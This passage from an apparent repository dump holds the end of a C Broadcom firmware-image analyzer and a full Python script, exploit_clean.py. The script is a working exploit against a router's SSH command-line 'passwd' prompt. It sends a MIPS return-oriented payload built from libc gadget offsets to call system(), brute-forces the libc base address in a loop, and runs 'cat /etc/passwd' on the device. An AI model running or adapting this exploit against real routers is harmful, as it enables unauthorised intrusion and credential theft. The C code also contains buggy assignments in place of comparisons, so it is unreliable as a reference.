compute_len = compute_len - read; 278 | } 279 | 280 | /* Less than 1024 bytes remains, read compute_len bytes */ 281 | if (binfile && !feof(binfile) && !ferror(binfile) && (compute_len > 0)) { 282 | read = fread(readbuf, sizeof(uint8_t), compute_len, binfile); 283 | crc = crc32(crc, readbuf, read); 284 | } 285 | 286 | return crc; 287 | } 288 | 289 | size_t getlen(FILE *fp) 290 | { 291 | size_t retval, curpos; 292 | 293 | if (!fp) 294 | return 0; 295 | 296 | curpos = ftell(fp); 297 | fseek(fp, 0, SEEK_END); 298 | retval = ftell(fp); 299 | fseek(fp, curpos, SEEK_SET); 300 | 301 | return retval; 302 | } 303 | 304 | char *readstring(char *tagstring, size_t length) { 305 | char *outstring = NULL; 306 | 307 | outstring = calloc(length + 1, sizeof(uint8_t)); 308 | strncpy(outstring, tagstring, length); 309 | return outstring; 310 | } 311 | 312 | int analyzefile(char *bin, uint32_t fwaddr, char *tagid) { 313 | FILE *binfile; 314 | FILE *lzmafile; 315 | struct bcm_tag_bccfe common_tag; 316 | union bcm_tag read_tag; 317 | size_t read, filelen, lzmafilelen; 318 | char *lzmatmp; 319 | char lzmaname[255]; 320 | char lzmacmd[1024]; 321 | int lzmafd; 322 | char *buf; 323 | 324 | uint32_t imagelen, kernelAddress, kernelLength, rootAddress, rootLength, imageCRC, kernelCRC, headerCRC, rootfsCRC; 325 | 326 | if (bin && !(binfile = fopen(bin, "rb"))) { 327 | fprintf(stderr, "Unable to open image \"%s\"\n", bin); 328 | return 1; 329 | } 330 | 331 | filelen = getlen(binfile); 332 | 333 | if (!tagid) { 334 | fprintf(stderr, "No tagid specified\n"); 335 | return 1; 336 | } 337 | 338 | if (fread(&read_tag, sizeof(uint8_t), sizeof(read_tag), binfile) != sizeof(read_tag)) { 339 | perror("Error reading imagetag\n"); 340 | return 1; 341 | } 342 | 343 | printf("Tag Version: %s\n", readstring(read_tag.bccfe.tagVersion, TAGVER_LEN)); 344 | printf("Signature 1: %s\n", readstring(read_tag.bccfe.sig_1, 20)); 345 | printf("Signature 2: %s\n", readstring(read_tag.bccfe.sig_2, 14)); 346 | printf("Chip ID: %s\n", readstring(read_tag.bccfe.chipid, 6)); 347 | printf("Board ID: %s\n", readstring(read_tag.bccfe.boardid, 16)); 348 | if (read_tag.bccfe.big_endian[0] = '1') { 349 | printf("Bigendian: true\n"); 350 | } else if (read_tag.bccfe.big_endian[1] = '0') { 351 | printf("Bigendian: false\n"); 352 | } else { 353 | printf("Unrecognized value for endianess\n"); 354 | } 355 | printhex("Image size: %08x, %lu\n", strtoul(readstring(read_tag.bccfe.totalLength, IMAGE_LEN), NULL, 10)); 356 | printhex("CFE Address: %08x, %lu\n", strtoul(readstring(read_tag.bccfe.cfeAddress, ADDRESS_LEN), NULL, 10)); 357 | printhex("CFE Length: %08x, %lu\n", strtoul(readstring(read_tag.bccfe.cfeLength, IMAGE_LEN), NULL, 10)); 358 | rootAddress = strtoul(readstring(read_tag.bccfe.rootAddress, ADDRESS_LEN), NULL, 10); 359 | printhex("Flash Root Address: %08x, %lu\n", rootAddress); 360 | rootLength = strtoul(readstring(read_tag.bccfe.rootLength, IMAGE_LEN), NULL, 10); 361 | printhex("Flash Root Length: %08x, %lu\n", rootLength); 362 | kernelAddress = strtoul(readstring(read_tag.bccfe.kernelAddress, ADDRESS_LEN), NULL, 10); 363 | printhex("Flash Kernel Address: %08x, %lu\n", kernelAddress); 364 | kernelLength = strtoul(readstring(read_tag.bccfe.kernelLength, IMAGE_LEN), NULL, 10); 365 | printhex("Flash Kernel Length: %08x, %lu\n", kernelLength); 366 | printf("Vendor information: %s\n", readstring(read_tag.bccfe.information1, TAGINFO_LEN)); 367 | printf("Image CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bccfe.imageCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - DEFAULT_FLASH_START, kernelLength + rootLength)); 368 | rootfsCRC = compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - fwaddr, rootLength); 369 | printf("Rootfs CRC: [Computed Value: %08x]\n", htonl(rootfsCRC)); 370 | printf("Image CRC from sections: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bccfe.imageCRC))), compute_crc32(rootfsCRC, binfile, kernelAddress - fwaddr, kernelLength)); 371 | printf("Header CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bccfe.headerCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, 0, sizeof(read_tag) - 20)); 372 | 373 | if (strcmp(tagid, "bccfe") == 0) { 374 | } else if (strcmp(tagid, "bc300") == 0 ) { 375 | } else if (strcmp(tagid, "bc221") == 0 ) { 376 | printf("fsKernel CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc221.kernelCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, kernelAddress - fwaddr, kernelLength+rootLength)); 377 | } else if (strcmp(tagid, "ag306") == 0 ) { 378 | printf("Kernel CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.ag306.kernelCRC[0]))), compute_crc32(IMAGETAG_CRC_START, binfile, kernelAddress - fwaddr, kernelLength)); 379 | } else if (strcmp(tagid, "bc310") == 0 ) { 380 | printf("Kernel CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc310.kernelCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, kernelAddress - fwaddr, kernelLength)); 381 | printf("Rootfs CRC_OLD: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc310.rootfsCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - fwaddr, rootLength)); 382 | printf("Rootfs CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc310.rootfsCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - DEFAULT_FLASH_START, rootLength)); 383 | } else { 384 | fprintf(stderr, "Unrecognized tagid value\n"); 385 | return 1; 386 | } 387 | return 0; 388 | } 389 | 390 | int main(int argc, char **argv) 391 | { 392 | int c, i; 393 | char *bin, *tagid; 394 | uint32_t flashstart, fwoffset, flash_bs; 395 | uint32_t fwaddr; 396 | int tagidfound = 0; 397 | 398 | bin = tagid = NULL; 399 | 400 | flashstart = DEFAULT_FLASH_START; 401 | fwoffset = DEFAULT_FW_OFFSET; 402 | flash_bs = DEFAULT_FLASH_BS; 403 | 404 | printf("Broadcom image analyzer - v0.1.0\n"); 405 | printf("Copyright (C) 2009 Daniel Dickinson\n"); 406 | 407 | while ((c = getopt(argc, argv, "i:s:n:k:ht:")) != -1) { 408 | switch (c) { 409 | case 'i': 410 | bin = optarg; 411 | break; 412 | case 's': 413 | flashstart = strtoul(optarg, NULL, 16); 414 | break; 415 | case 'n': 416 | fwoffset = strtoul(optarg, NULL, 16); 417 | break; 418 | case 't': 419 | tagid = optarg; 420 | break; 421 | case 'h': 422 | default: 423 | fprintf(stderr, "Usage: imagetag \n\n"); 424 | fprintf(stderr, " -i - image to analyze\n"); 425 | fprintf(stderr, " -s - Flash start address (i.e. \"0xBFC00000\"\n"); 426 | fprintf(stderr, " -n - \n"); 427 | fprintf(stderr, " -t - type if imagetag to create, use 'list' to see available choices"); 428 | fprintf(stderr, " -h - Displays this text\n\n"); 429 | return 1; 430 | } 431 | } 432 | tagidfound = 0; 433 | if (!tagid) { 434 | fprintf(stderr, "You must specify a tagid (-t)\n"); 435 | return 1; 436 | } else { 437 | if (strncmp(tagid, "list", 4) == 0) { 438 | fprintf(stderr, "\n----------------------------------------\n"); 439 | fprintf(stderr, "\tAvailable tagId:"); 440 | fprintf(stderr, "\n\n"); 441 | for (i = 0; i < NUM_TAGID; i++) { 442 | fprintf(stderr, "\t%s\t%s", tagidtab[i].tagid, tagidtab[i].tagiddesc); 443 | } 444 | fprintf(stderr, "\n----------------------------------------\n"); 445 | return 0; 446 | } 447 | } 448 | 449 | if (tagid) { 450 | for(i = 0; i < NUM_TAGID; i++) { 451 | if (strncmp(tagid, tagidtab[i].tagid, TAGID_LEN) == 0) { 452 | tagidfound = 1; 453 | break; 454 | } 455 | } 456 | if (!tagidfound) { 457 | if (tagid) { 458 | fprintf(stderr, "The tagid you selected '%s' does't exist.\n", tagid); 459 | } 460 | fprintf(stderr, "Use -t list to see the list of available ids"); 461 | return 1; 462 | } 463 | 464 | if (!bin) { 465 | fprintf(stderr, "You must specify the input file with -i\n"); 466 | return 1; 467 | } 468 | } 469 | 470 | /* Fallback to defaults */ 471 | fwaddr = flashstart + fwoffset; 472 | 473 | return analyzefile(bin, fwaddr, tagid); 474 | } 475 | -------------------------------------------------------------------------------- /exploit_clean.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import struct 4 | import os 5 | import sys 6 | import shutil 7 | import time 8 | import pexpect 9 | import tempfile 10 | 11 | r_host = "192.168.1.1" 12 | r_user = "1234" 13 | r_password = "yourrouterpassword" 14 | 15 | def run(libc_b, host, user, password, timeout=5, bg_run=False): 16 | libc_base = int(libc_b, 0) 17 | g2_ra = libc_base + 0x0001f654 # 0x0001f654 : move $t9, $s2 ; jalr $t9 ; move $a1, $s0 18 | #libc_sleep = libc_base + 0x00058ba0 19 | libc_system = libc_base + 0x0005a380 20 | g_s2 = libc_system 21 | g_s3 = libc_base + 0x63338 # random 22 | g_f = libc_base + 0x00038834 # 0x00038834 : addiu $a0, $sp, 0x20 ; lw $ra, 0x64($sp) ; move $v0, $s2 ; lw $s3, 0x60($sp) ; lw $s2, 0x5c($sp) ; lw $s1, 0x58($sp) ; lw $s0, 0x54($sp) ; jr $ra ; addiu $sp, $sp, 0x68 23 | binsh = libc_base + 0x63338 # libc.so '/bin/sh' 24 | command = 'cat /etc/passwd' 25 | junk5_2 = binsh # *23 26 | junk6 = 'C' * 116 27 | final = junk6.encode("utf-8").hex() + struct.pack('>I', g_f).hex() + struct.pack('>I', junk5_2).hex() * 23 + struct.pack('>I', g_s2).hex() + struct.pack('>I', g_s3).hex() + struct.pack('>I', g2_ra).hex() 28 | print('[+] Trying libc_base %s' % str(hex(libc_base))) 29 | 30 | try: 31 | fname = tempfile.mktemp() 32 | fout = open(fname, 'wb') 33 | #options = '-p 2222 -q -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oPubkeyAuthentication=no' 34 | options = '-p 22 -q -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oPubkeyAuthentication=no' 35 | ssh_cmd = 'ssh %s@%s %s' % (user, host, options) 36 | child = pexpect.spawn(ssh_cmd, timeout=timeout) 37 | child.expect('password: ') 38 | child.sendline(password) 39 | child.logfile = fout 40 | child.expect('> ') 41 | child.sendline('passwd') 42 | child.logfile = fout 43 | child.expect(': ') 44 | child.sendline('aaaa') 45 | child.logfile = fout 46 | child.expect(': ') 47 | child.sendline(bytes.fromhex(final)) 48 | child.logfile = fout 49 | child.expect(': ') 50 | print("[+] Executing '%s'." % command) 51 | child.sendline(command) 52 | child.logfile = fout 53 | child.expect('Administrator') 54 | child.logfile = fout 55 | child.close() 56 | fout.close() 57 | 58 | fin = open(fname, 'rb') 59 | stdout = fin.read() 60 | fin.close() 61 | if b'Administrator' in stdout: 62 | print("[+] Exploit succeed with base address %s" % str(hex(libc_base))) 63 | print(stdout) 64 | os.remove(fname) 65 | exit(0) 66 | except Exception as e: 67 | fin = open(fname, 'rb') 68 | stdout = fin.read() 69 | fin.close() 70 | os.remove(fname) 71 | return stdout 72 | 73 | def check(): 74 | res = run('0x00000000', r_host, r_user, r_password) 75 | if b'segfault' in res: 76 | print('[+] Vulnerable') 77 | pass 78 | else: 79 | print("The router doesn't seem vulnerable, try manually.") 80 | exit(0) 81 | 82 | tobrute = list(range(0x76000, 0x77fff)) 83 | if __name__ == '__main__': 84 | while True: 85 | try: 86 | check() 87 | for i in tobrute: 88 | try: 89 | res = run(str(hex(i))+'000', r_host, r_user, r_password) 90 | except Exception as e: 91 | continue 92 | time.sleep(660) 93 | except Exception: 94 | continue 95 | --------------------------------------------------------------------------------